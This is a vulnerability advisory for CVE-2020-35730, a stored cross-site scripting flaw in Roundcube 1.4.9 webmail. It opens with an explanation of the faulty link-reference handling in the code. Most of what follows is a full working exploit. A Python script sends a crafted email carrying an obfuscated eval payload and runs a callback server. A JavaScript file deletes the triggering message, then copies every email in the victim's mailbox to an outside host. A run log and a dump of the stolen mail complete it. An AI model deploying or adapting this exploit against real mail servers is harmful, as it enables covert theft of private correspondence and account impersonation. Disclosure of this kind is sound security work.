[CVE-2020-35730] Roundcube 1.4.9 - Stored XSS in received emails

   
Discovered 2020-11-23
Author Alex Birnberg
Product Roundcube
Tested versions 1.4.9
CVE CVE-2020-35730

Abstract

The Roundcube webmail application performs in-line link references in text messages before and after the sanitization process. An input sanitization vulnerability that can be exploited to perform stored cross-site scripting (XSS) attacks has been discovered in how Roundcube webmail handles link references in text messages.

A remote attacker can send a specially crafted email containing malicious text and execute arbitrary JavaScript code in the context of the vulnerable web application when the user displays the message. This allows to impersonate the victims and access the webmail features on their behalf.

Details

The issue can be found in rcube_text2html.php in the _converter method of the rcube_text2html class. The method first looks for URLs, emails, and link references [1] within the messages and then replaces them with a placeholder. The method later sanitizes the remaining message [2], before replacing the placeholders with the parsed values [3].

protected function _converter($text)
{
        ...
        // search for patterns like links and e-mail addresses and replace with tokens
        if ($this->config['links']) {
            $text = $replacer->replace($text); [1]
        }

        // split body into single lines
        $text        = preg_split('/\r?\n/', $text);
        $quote_level = 0;
        $last        = null;

        // wrap quoted lines with <blockquote>
        for ($n = 0, $cnt = count($text); $n < $cnt; $n++) {
            ... [2]
        }

        // insert url/mailto links and citation tags
        $text = $replacer->resolve($text); [3]

        // replace line breaks
        $text = str_replace("\n", $this->config['break'], $text);

        return $this->config['begin'] . $text . $this->config['end'];
}

Taking a further look at the replacer leads to the rcube_string_replacer found within the rcube_string_replacer.php file, leading to the replace method. The relevant code can be observed below.

    public function replace($str)
    {
        // search for patterns like links and e-mail addresses
        $str = preg_replace_callback($this->link_pattern, array($this, 'link_callback'), $str);
        $str = preg_replace_callback($this->mailto_pattern, array($this, 'mailto_callback'), $str);
        // resolve link references
        $str = preg_replace_callback($this->linkref_index, array($this, 'linkref_addindex'), $str); [3]
        $str = preg_replace_callback($this->linkref_pattern, array($this, 'linkref_callback'), $str);

        return $str;
    }

Of interest is the linkref_index regular expression pattern and the linkref_addindex callback. The regular expression pattern is the following: /[([^\]#]+)](:?\s*##str_replacement_(\d+)##)/. Note how the regular expression allows any character that is not a ‘\’ or is a ‘#’ one ore more times in the first capturing group. Following the linkref_addindex callback leads to the following method:

    public function linkref_addindex($matches)
    {
        $key = $matches[1];
        $this->linkrefs[$key] = $this->urls[$matches[3]];

        return $this->get_replacement($this->add('['.$key.']')) . $matches[2];
    }

It can be seen that the first capturing group is stored in the key variable that is later passed as an argument to the add method. The relevant code can be observed below:

    public function add($str)
    {
        $i = count($this->values);
        $this->values[$i] = $str;
        return $i;
    }

It can be seen that the first argument is stored in the values array. After the sanitization process, the resolve method is called:

    public function resolve($str)
    {
        return preg_replace_callback(self::$pattern, array($this, 'replace_callback'), $str);
    }

The pattern variable holds the regular expression used to identify the placeholders of the replaced values: /##str_replacement_(\d+)##/. The method which is used as a callback can be seen below:

    public function replace_callback($matches)
    {
        return $this->values[$matches[1]];
    }

The callback returns the replaced value stored in the values array. Using the linkref_addindex callback entries in the values array can be arbitrarily set leading to XSS.

Exploit

exploit.py

#!/usr/bin/env python3
import os
import ssl
import sys
import json
import base64
import string
import random
import logging
import smtplib
import sqlite3
import hashlib
import argparse
from flask import Flask, request, Response
from urllib.parse import urlparse

class Exploit:
    def __init__(self, args):
        # Database
        if not os.path.exists('database.db'):
            with sqlite3.connect("database.db") as conn:
                cursor = conn.cursor()
                cursor.execute('CREATE TABLE contents (id INT AUTO_INCREMENT PRIMARY KEY, hash TEXT NOT NULL UNIQUE, content BLOB NOT NULL);')
                cursor.execute('CREATE TABLE emails (id INT AUTO_INCREMENT PRIMARY KEY, sender TEXT NOT NULL, subject TEXT NOT NULL, content TEXT NOT NULL);')
                conn.commit()
        # SMTP URL
        o = urlparse(args.smtp)
        self.smtp = {
            'ssl': o.scheme.lower() == 'smtps',
            'host': o.hostname or '127.0.0.1',
            'port': o.port or ('465' if o.scheme.lower() == 'smtps' else '25'),
            'username': '' or o.username,
            'password': '' or o.password
        }
        try:
            if self.smtp['ssl']:
                context = ssl.create_default_context()
                context.verify_mode = ssl.CERT_OPTIONAL 
                context.check_hostname = False
                self.server = smtplib.SMTP_SSL(self.smtp['host'], self.smtp['port'], context=context)
            else:
                self.server = smtplib.SMTP(self.smtp['host'], self.smtp['port'])
        except:
            print('[-] Error connecting to SMTP server!')
            exit()
        try:
            self.server.login(self.smtp['username'], self.smtp['password'])
        except:
            pass
        # Callback URL
        o = urlparse(args.callback)
        self.callback = {
            'url': '{}://{}'.format(o.scheme, o.netloc),
            'path': ''.join(random.choice(string.ascii_letters) for i in range(20))
        }
        # Listener URL
        o = urlparse(args.listener)
        self.listener = {
            'ssl': o.scheme.lower() == 'https',
            'host': o.hostname or '0.0.0.0',
            'port': o.port or 80,
            'roundcube': ''.join(random.choice(string.ascii_letters) for i in range(20))
        }
        # Target email
        self.target = args.target
        # Subject
        self.subject = args.subject or 'Important Message'
        # Environment
        self.env = {}
        self.env['mailbox'] = args.mailbox or 'INBOX'
        self.env['callback'] = '{}/{}'.format(self.callback['url'], self.callback['path'])
    
    def trigger(self):
        print('[*] Waiting for emails...')
        self.bypass_auth()        
        print('\n[*] Done')

    def bypass_auth(self):
        def roundcube():
            f = open('roundcube.js')
            content = 'env = {};\n\n{}'.format(json.dumps(self.env), f.read())
            f.close()
            return content

        def callback():
            response = Response('')
            with sqlite3.connect("database.db") as conn:
                try:
                    sender = request.form.get('from')
                    subject = request.form.get('subject')
                    content = request.files.get('file').stream.read()
                    mail_hash =  hashlib.sha1(content).digest().hex()
                    print('[+] Received email ({})'.format(mail_hash))
                    cursor = conn.cursor()
                    cursor.execute('INSERT INTO emails (sender, subject, content) VALUES (?, ?, ?)', (sender, subject, mail_hash))                    
                    cursor.execute('INSERT INTO contents (hash, content) VALUES (?, ?)', (mail_hash, content))
                except:
                    pass
            response.headers['Access-Control-Allow-Origin'] = '*'
            return response

        payload = 'var s=document.createElement("script");s.type="text/javascript";s.src="{}/{}";document.head.append(s);'.format(self.callback['url'], self.listener['roundcube'])
        payload = 'eval(atob("{}"))'.format(base64.b64encode(payload.encode('latin-1')).decode('latin-1'))
        content = 'Subject: {}\nFrom: {}\nTo: {}\n'.format(self.subject, self.smtp['username'], self.target)
        content += '[email protected]\n[<script>{}</script>]:##str_replacement_0##\n'.format(payload)
        self.server.sendmail(self.smtp['username'], self.target, content)
        app = Flask(__name__)
        app.add_url_rule('/{}'.format(self.listener['roundcube']), 'roundcube', roundcube)
        app.add_url_rule('/{}'.format(self.callback['path']), 'callback', callback, methods=['POST'])
        logging.getLogger('werkzeug').setLevel(logging.ERROR)
        cli = sys.modules['flask.cli']
        cli.show_server_banner = lambda *x: None
        try:
            if self.listener['ssl']:
                app.run(host=self.listener['host'], port=self.listener['port'], ssl_context=('cert.pem', 'key.pem'))
            else:
                app.run(host=self.listener['host'], port=self.listener['port'])
        except:
            pass

if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument('--smtp', help='SMTP URL', required=True, metavar='URL')
    parser.add_argument('--callback', help='Callback URL', required=True, metavar='URL')
    parser.add_argument('--listener', help='Listener URL', metavar='URL')
    parser.add_argument('--target', help='Target email', required=True, metavar='EMAIL')
    parser.add_argument('--subject', help='Email subject', metavar='SUBJECT')
    parser.add_argument('--mailbox', help='Mailbox from which to steal the emails', metavar='INBOX')
    exploit = Exploit(parser.parse_args())
    exploit.trigger()

roundcube.js

class Exploit {
    constructor() {
        this.basepath = document.location.pathname;
    }

    trigger() {
        this.auto_delete()
        .then(() => {
            this.exfiltrate_emails({mailbox: env.mailbox});
        });
    }

    async auto_delete() {
        let uid = location.href.match('_uid=(\\d*)')[1];
        let params = new URLSearchParams();
        params.append('_uid', uid);
        params.append('_remote', '1');
        await fetch(this.basepath + '?_task=mail&_framed=1&_action=delete', {
            method: 'POST',
            headers: {
                'X-Roundcube-Request': rcmail.env.request_token,
                'X-Requested-With': 'XMLHttpRequest'
            },
            body: params
        });
    }

    async exfiltrate_emails(args) {
        async function list_emails(args) {
            return fetch(args.basepath + '?_task=mail&_action=list&_mbox=' + args.mailbox + '&_page=' + args.page + '&_remote=1')
            .then(response => {
                return response.json();
            });
        }
        let mailbox = args.mailbox;
        let page = 1;
        let pagecount = 1;
        this.count = 0;
        do {
            let data = await list_emails({basepath: this.basepath, mailbox: mailbox, page: page++});
            let env = data.env;
            this.messagecount = env.messagecount;
            pagecount = env.pagecount;
            let o = {
                basepath: this.basepath,
                parent: this,
                _(exec) {
                    eval(exec);
                },
                add_message_row(uid, cols, flags, top) {
                    let from = new DOMParser().parseFromString(cols.fromto, 'text/html').getElementsByClassName('rcmContactAddress')[0].title;
                    let subject = cols.subject;
                    fetch(this.basepath + '?_task=mail&_save=1&_uid=' + uid + '&_mbox=' + flags.mbox + '&_action=viewsource&_token=' + rcmail.env.request_token)
                    .then(response => {
                        return response.text();
                    })
                    .then(data => {
                        let formData = new FormData();
                        formData.append('from', from);
                        formData.append('subject', subject);
                        formData.append('file', new Blob([data], {type: 'text/plain'}), '');
                        return fetch(window.env.callback, {
                            method: 'POST',
                            body: formData
                        });
                    })
                    .then(() => {
                        this.parent.count++;
                        if (this.parent.count == this.parent.messagecount) {
                            list_emails({basepath: this.basepath, mailbox: mailbox, page: 1})
                            .then(() => {
                                window.parent.location.reload();
                            });
                        }
                    });
                },
                set_pagetitle() {},
                set_unread_count() {},
                set_rowcount() {},
                set_message_coltypes() {},
                set_quota() {},
            };
            o._(data.exec);
        } while (page <= pagecount);
    }
}

const exploit = new Exploit();
exploit.trigger();

Conclusion

The exploit provided is designed to target an individual mailbox. When the malicious email is clicked the exploit is triggered, exfiltrating the desired mailbox and deleting itself once the exfiltration is done. Note that the only user interaction needed is for the target to click the malicious email, and also, the vulnerability can be triggered without HTML content being enabled as it is located it the text content functionality. Below a successful run of the exploit can be observed. The callback represents the server from which the exploit will be loaded and executed, in this case localhost.

$ ./exploit.py --smtp smtp://[email protected]:[email protected] --callback http://127.0.0.1 --target [email protected]
[*] Waiting for emails...
[+] Received email (b8be8224ade780437fdc744aecaca3f87470dbc3)
[+] Received email (b8be8224ade780437fdc744aecaca3f87470dbc3)
[+] Received email (615ac63565ed749022c112b07bdd06942852c4c7)
[+] Received email (2e6854d0542b391c16a6c4524b3032f5ca0f344a)
[+] Received email (7b09bd7d0b8171236ac597f58701bf3743b68ad8)
[+] Received email (b8be8224ade780437fdc744aecaca3f87470dbc3)
[+] Received email (b8be8224ade780437fdc744aecaca3f87470dbc3)
[+] Received email (b8be8224ade780437fdc744aecaca3f87470dbc3)
[+] Received email (b8be8224ade780437fdc744aecaca3f87470dbc3)
[+] Received email (b8be8224ade780437fdc744aecaca3f87470dbc3)
[+] Received email (b8be8224ade780437fdc744aecaca3f87470dbc3)
[+] Received email (b8be8224ade780437fdc744aecaca3f87470dbc3)
[+] Received email (b8be8224ade780437fdc744aecaca3f87470dbc3)
[+] Received email (b8be8224ade780437fdc744aecaca3f87470dbc3)
[+] Received email (b8be8224ade780437fdc744aecaca3f87470dbc3)
[+] Received email (b8be8224ade780437fdc744aecaca3f87470dbc3)
[+] Received email (b8be8224ade780437fdc744aecaca3f87470dbc3)
[+] Received email (b8be8224ade780437fdc744aecaca3f87470dbc3)
[+] Received email (b8be8224ade780437fdc744aecaca3f87470dbc3)
[+] Received email (b8be8224ade780437fdc744aecaca3f87470dbc3)
[+] Received email (b8be8224ade780437fdc744aecaca3f87470dbc3)
[+] Received email (b8be8224ade780437fdc744aecaca3f87470dbc3)
[+] Received email (b8be8224ade780437fdc744aecaca3f87470dbc3)
[+] Received email (b8be8224ade780437fdc744aecaca3f87470dbc3)
[+] Received email (b8be8224ade780437fdc744aecaca3f87470dbc3)
[+] Received email (b8be8224ade780437fdc744aecaca3f87470dbc3)
[+] Received email (b8be8224ade780437fdc744aecaca3f87470dbc3)
[+] Received email (b8be8224ade780437fdc744aecaca3f87470dbc3)
[+] Received email (b8be8224ade780437fdc744aecaca3f87470dbc3)
[+] Received email (b8be8224ade780437fdc744aecaca3f87470dbc3)
[+] Received email (b8be8224ade780437fdc744aecaca3f87470dbc3)
[+] Received email (b8be8224ade780437fdc744aecaca3f87470dbc3)
[+] Received email (b8be8224ade780437fdc744aecaca3f87470dbc3)
[+] Received email (b8be8224ade780437fdc744aecaca3f87470dbc3)
[+] Received email (b8be8224ade780437fdc744aecaca3f87470dbc3)
[+] Received email (b8be8224ade780437fdc744aecaca3f87470dbc3)
[+] Received email (b8be8224ade780437fdc744aecaca3f87470dbc3)
[+] Received email (b13ef65f34fa70bdb1b06c8fe471222ddfc2497e)
[+] Received email (615ac63565ed749022c112b07bdd06942852c4c7)
[+] Received email (b8be8224ade780437fdc744aecaca3f87470dbc3)
[+] Received email (b8be8224ade780437fdc744aecaca3f87470dbc3)
[+] Received email (b8be8224ade780437fdc744aecaca3f87470dbc3)
[+] Received email (b8be8224ade780437fdc744aecaca3f87470dbc3)
[+] Received email (b8be8224ade780437fdc744aecaca3f87470dbc3)
[+] Received email (b8be8224ade780437fdc744aecaca3f87470dbc3)
[+] Received email (b8be8224ade780437fdc744aecaca3f87470dbc3)
[+] Received email (b8be8224ade780437fdc744aecaca3f87470dbc3)
[+] Received email (b8be8224ade780437fdc744aecaca3f87470dbc3)
[+] Received email (b8be8224ade780437fdc744aecaca3f87470dbc3)
[+] Received email (b8be8224ade780437fdc744aecaca3f87470dbc3)
[+] Received email (b8be8224ade780437fdc744aecaca3f87470dbc3)
[+] Received email (b8be8224ade780437fdc744aecaca3f87470dbc3)
[+] Received email (b8be8224ade780437fdc744aecaca3f87470dbc3)
[+] Received email (b8be8224ade780437fdc744aecaca3f87470dbc3)
[+] Received email (b8be8224ade780437fdc744aecaca3f87470dbc3)
[+] Received email (b8be8224ade780437fdc744aecaca3f87470dbc3)
[+] Received email (b8be8224ade780437fdc744aecaca3f87470dbc3)
[+] Received email (b8be8224ade780437fdc744aecaca3f87470dbc3)
[+] Received email (b8be8224ade780437fdc744aecaca3f87470dbc3)
[+] Received email (b8be8224ade780437fdc744aecaca3f87470dbc3)
[+] Received email (b8be8224ade780437fdc744aecaca3f87470dbc3)
[+] Received email (b8be8224ade780437fdc744aecaca3f87470dbc3)
[+] Received email (b8be8224ade780437fdc744aecaca3f87470dbc3)
[+] Received email (b13ef65f34fa70bdb1b06c8fe471222ddfc2497e)
[+] Received email (615ac63565ed749022c112b07bdd06942852c4c7)
[+] Received email (b13ef65f34fa70bdb1b06c8fe471222ddfc2497e)
[+] Received email (615ac63565ed749022c112b07bdd06942852c4c7)
[+] Received email (b13ef65f34fa70bdb1b06c8fe471222ddfc2497e)
[+] Received email (615ac63565ed749022c112b07bdd06942852c4c7)
[+] Received email (b13ef65f34fa70bdb1b06c8fe471222ddfc2497e)
[+] Received email (615ac63565ed749022c112b07bdd06942852c4c7)
[+] Received email (615ac63565ed749022c112b07bdd06942852c4c7)
[+] Received email (b13ef65f34fa70bdb1b06c8fe471222ddfc2497e)
[+] Received email (b13ef65f34fa70bdb1b06c8fe471222ddfc2497e)
[+] Received email (3a3c73f21015dfe7d01bac558eb908ff3fcd3d15)
[+] Received email (7613eef2ea348174dc1c028ebbb897c5107e817f)
[+] Received email (a295884ad72682cb360e59f341b431aceb9dddbf)
[+] Received email (4f27db2e4b19635e67feef74f827f711788ee15f)
[+] Received email (2cada4e78fc0678ac38a4c5f5e41c1b8b1b691d0)
[+] Received email (6ff64abae0ac71977eca93aa5e2da9480dd4b403)
[+] Received email (59c8f1c6c764485e72660803bc517e6dbdfa7018)
[+] Received email (1d9602bf6a892d80df438a16e16c1e78d30a1c34)
[+] Received email (c0e42002d92bbaf0185ff970ca0efda038049b52)
[+] Received email (2f19c9882b83bf75f404a02f6021d97f637c7696)
[+] Received email (06c95eaae2ca12a58a80955b8178a54192b4c63d)
^C
[*] Done

$ sqlite3 database.db 
SQLite version 3.32.3 2020-06-18 14:16:19
Enter ".help" for usage hints.
sqlite> select * from emails;
|[email protected]|Sample message 1|b8be8224ade780437fdc744aecaca3f87470dbc3
|[email protected]|Sample message 1|b8be8224ade780437fdc744aecaca3f87470dbc3
|[email protected]|Sample message 2|615ac63565ed749022c112b07bdd06942852c4c7
|[email protected]|Test|2e6854d0542b391c16a6c4524b3032f5ca0f344a
|[email protected]|Attachment Test|7b09bd7d0b8171236ac597f58701bf3743b68ad8
|[email protected]|Sample message 1|b8be8224ade780437fdc744aecaca3f87470dbc3
|[email protected]|Sample message 1|b8be8224ade780437fdc744aecaca3f87470dbc3
|[email protected]|Sample message 1|b8be8224ade780437fdc744aecaca3f87470dbc3
|[email protected]|Sample message 1|b8be8224ade780437fdc744aecaca3f87470dbc3
|[email protected]|Sample message 1|b8be8224ade780437fdc744aecaca3f87470dbc3
|[email protected]|Sample message 1|b8be8224ade780437fdc744aecaca3f87470dbc3
|[email protected]|Sample message 1|b8be8224ade780437fdc744aecaca3f87470dbc3
|[email protected]|Sample message 1|b8be8224ade780437fdc744aecaca3f87470dbc3
|[email protected]|Sample message 1|b8be8224ade780437fdc744aecaca3f87470dbc3
|[email protected]|Sample message 1|b8be8224ade780437fdc744aecaca3f87470dbc3
|[email protected]|Sample message 1|b8be8224ade780437fdc744aecaca3f87470dbc3
|[email protected]|Sample message 1|b8be8224ade780437fdc744aecaca3f87470dbc3
|[email protected]|Sample message 1|b8be8224ade780437fdc744aecaca3f87470dbc3
|[email protected]|Sample message 1|b8be8224ade780437fdc744aecaca3f87470dbc3
|[email protected]|Sample message 1|b8be8224ade780437fdc744aecaca3f87470dbc3
|[email protected]|Sample message 1|b8be8224ade780437fdc744aecaca3f87470dbc3
|[email protected]|Sample message 1|b8be8224ade780437fdc744aecaca3f87470dbc3
|[email protected]|Sample message 1|b8be8224ade780437fdc744aecaca3f87470dbc3
|[email protected]|Sample message 1|b8be8224ade780437fdc744aecaca3f87470dbc3
|[email protected]|Sample message 1|b8be8224ade780437fdc744aecaca3f87470dbc3
|[email protected]|Sample message 1|b8be8224ade780437fdc744aecaca3f87470dbc3
|[email protected]|Sample message 1|b8be8224ade780437fdc744aecaca3f87470dbc3
|[email protected]|Sample message 1|b8be8224ade780437fdc744aecaca3f87470dbc3
|[email protected]|Sample message 1|b8be8224ade780437fdc744aecaca3f87470dbc3
|[email protected]|Sample message 1|b8be8224ade780437fdc744aecaca3f87470dbc3
|[email protected]|Sample message 1|b8be8224ade780437fdc744aecaca3f87470dbc3
|[email protected]|Sample message 1|b8be8224ade780437fdc744aecaca3f87470dbc3
|[email protected]|Sample message 1|b8be8224ade780437fdc744aecaca3f87470dbc3
|[email protected]|Sample message 1|b8be8224ade780437fdc744aecaca3f87470dbc3
|[email protected]|Sample message 1|b8be8224ade780437fdc744aecaca3f87470dbc3
|[email protected]|Sample message 1|b8be8224ade780437fdc744aecaca3f87470dbc3
|[email protected]|Sample message 1|b8be8224ade780437fdc744aecaca3f87470dbc3
|[email protected]|Sample message 1|b13ef65f34fa70bdb1b06c8fe471222ddfc2497e
|[email protected]|Sample message 2|615ac63565ed749022c112b07bdd06942852c4c7
|[email protected]|Sample message 1|b8be8224ade780437fdc744aecaca3f87470dbc3
|[email protected]|Sample message 1|b8be8224ade780437fdc744aecaca3f87470dbc3
|[email protected]|Sample message 1|b8be8224ade780437fdc744aecaca3f87470dbc3
|[email protected]|Sample message 1|b8be8224ade780437fdc744aecaca3f87470dbc3
|[email protected]|Sample message 1|b8be8224ade780437fdc744aecaca3f87470dbc3
|[email protected]|Sample message 1|b8be8224ade780437fdc744aecaca3f87470dbc3
|[email protected]|Sample message 1|b8be8224ade780437fdc744aecaca3f87470dbc3
|[email protected]|Sample message 1|b8be8224ade780437fdc744aecaca3f87470dbc3
|[email protected]|Sample message 1|b8be8224ade780437fdc744aecaca3f87470dbc3
|[email protected]|Sample message 1|b8be8224ade780437fdc744aecaca3f87470dbc3
|[email protected]|Sample message 1|b8be8224ade780437fdc744aecaca3f87470dbc3
|[email protected]|Sample message 1|b8be8224ade780437fdc744aecaca3f87470dbc3
|[email protected]|Sample message 1|b8be8224ade780437fdc744aecaca3f87470dbc3
|[email protected]|Sample message 1|b8be8224ade780437fdc744aecaca3f87470dbc3
|[email protected]|Sample message 1|b8be8224ade780437fdc744aecaca3f87470dbc3
|[email protected]|Sample message 1|b8be8224ade780437fdc744aecaca3f87470dbc3
|[email protected]|Sample message 1|b8be8224ade780437fdc744aecaca3f87470dbc3
|[email protected]|Sample message 1|b8be8224ade780437fdc744aecaca3f87470dbc3
|[email protected]|Sample message 1|b8be8224ade780437fdc744aecaca3f87470dbc3
|[email protected]|Sample message 1|b8be8224ade780437fdc744aecaca3f87470dbc3
|[email protected]|Sample message 1|b8be8224ade780437fdc744aecaca3f87470dbc3
|[email protected]|Sample message 1|b8be8224ade780437fdc744aecaca3f87470dbc3
|[email protected]|Sample message 1|b8be8224ade780437fdc744aecaca3f87470dbc3
|[email protected]|Sample message 1|b8be8224ade780437fdc744aecaca3f87470dbc3
|[email protected]|Sample message 1|b13ef65f34fa70bdb1b06c8fe471222ddfc2497e
|[email protected]|Sample message 2|615ac63565ed749022c112b07bdd06942852c4c7
|[email protected]|Sample message 1|b13ef65f34fa70bdb1b06c8fe471222ddfc2497e
|[email protected]|Sample message 2|615ac63565ed749022c112b07bdd06942852c4c7
|[email protected]|Sample message 1|b13ef65f34fa70bdb1b06c8fe471222ddfc2497e
|[email protected]|Sample message 2|615ac63565ed749022c112b07bdd06942852c4c7
|[email protected]|Sample message 1|b13ef65f34fa70bdb1b06c8fe471222ddfc2497e
|[email protected]|Sample message 2|615ac63565ed749022c112b07bdd06942852c4c7
|[email protected]|Sample message 2|615ac63565ed749022c112b07bdd06942852c4c7
|[email protected]|Sample message 1|b13ef65f34fa70bdb1b06c8fe471222ddfc2497e
|[email protected]|Sample message 1|b13ef65f34fa70bdb1b06c8fe471222ddfc2497e
|[email protected]|[email protected]|3a3c73f21015dfe7d01bac558eb908ff3fcd3d15
|[email protected]|[email protected]cube.local|7613eef2ea348174dc1c028ebbb897c5107e817f
|[email protected]|[email protected]|a295884ad72682cb360e59f341b431aceb9dddbf
|[email protected]|[email protected]|4f27db2e4b19635e67feef74f827f711788ee15f
|[email protected]|[email protected]|2cada4e78fc0678ac38a4c5f5e41c1b8b1b691d0
|[email protected]|[email protected]|6ff64abae0ac71977eca93aa5e2da9480dd4b403
|[email protected]|[email protected]|59c8f1c6c764485e72660803bc517e6dbdfa7018
|[email protected]|[email protected]|1d9602bf6a892d80df438a16e16c1e78d30a1c34
|[email protected]|Test|c0e42002d92bbaf0185ff970ca0efda038049b52
|[email protected]|XXXXXX|2f19c9882b83bf75f404a02f6021d97f637c7696
|[email protected]|Important Message|06c95eaae2ca12a58a80955b8178a54192b4c63d
sqlite>